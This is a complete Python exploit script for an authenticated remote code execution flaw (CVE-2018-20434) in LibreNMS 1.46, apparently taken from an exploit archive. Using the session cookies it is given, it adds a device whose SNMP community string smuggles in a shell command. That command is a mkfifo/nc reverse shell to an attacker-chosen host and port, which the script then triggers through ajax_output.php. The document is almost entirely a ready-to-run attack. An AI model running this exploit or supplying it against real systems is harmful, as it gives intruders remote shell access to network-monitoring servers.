LibreNMS 1.46 addhost Remote Code Execution

`#!/usr/bin/python  
  
'''  
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution  
# Date: 24/12/2018  
# Exploit Author: Askar (@mohammadaskar2)  
# CVE : CVE-2018-20434  
# Vendor Homepage: https://www.librenms.org/  
# Version: v1.46  
# Tested on: Ubuntu 18.04 / PHP 7.2.10  
'''  
  
import requests  
from urllib import urlencode  
import sys  
  
if len(sys.argv) != 5:  
print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"  
sys.exit(0)  
  
# target (user input)  
target = sys.argv[1]  
  
# cookies (user input)  
raw_cookies = sys.argv[2]  
  
# remote host to connect to  
rhost = sys.argv[3]  
  
# remote port to connect to  
rport = sys.argv[4]  
  
# hostname to use (change it if you want)  
hostname = "dummydevice"  
  
# payload to create reverse shell  
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)  
  
# request headers  
headers = {  
"Content-Type": "application/x-www-form-urlencoded",  
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"  
}  
  
# request cookies  
cookies = {}  
for cookie in raw_cookies.split(";"):  
# print cookie  
c = cookie.split("=")  
cookies[c[0]] = c[1]  
  
  
def create_new_device(url):  
raw_request = {  
"hostname": hostname,  
"snmp": "on",  
"sysName": "",  
"hardware": "",  
"os": "",  
"snmpver": "v2c",  
"os_id": "",  
"port": "",  
"transport": "udp",  
"port_assoc_mode": "ifIndex",  
"community": payload,  
"authlevel": "noAuthNoPriv",  
"authname": "",  
"authpass": "",  
"cryptopass": "",  
"authalgo": "MD5",  
"cryptoalgo": "AES",  
"force_add": "on",  
"Submit": ""  
}  
full_url = url + "/addhost/"  
request_body = urlencode(raw_request)  
  
# send the device creation request  
request = requests.post(  
full_url, data=request_body, cookies=cookies, headers=headers  
)  
text = request.text  
if "Device added" in text:  
print "[+] Device Created Sucssfully"  
return True  
else:  
print "[-] Cannot Create Device"  
return False  
  
  
def request_exploit(url):  
params = {  
"id": "capture",  
"format": "text",  
"type": "snmpwalk",  
"hostname": hostname  
}  
  
# send the payload call  
request = requests.get(url + "/ajax_output.php",  
params=params,  
headers=headers,  
cookies=cookies  
)  
text = request.text  
if rhost in text:  
print "[+] Done, check your nc !"  
  
  
if create_new_device(target):  
request_exploit(target)  
`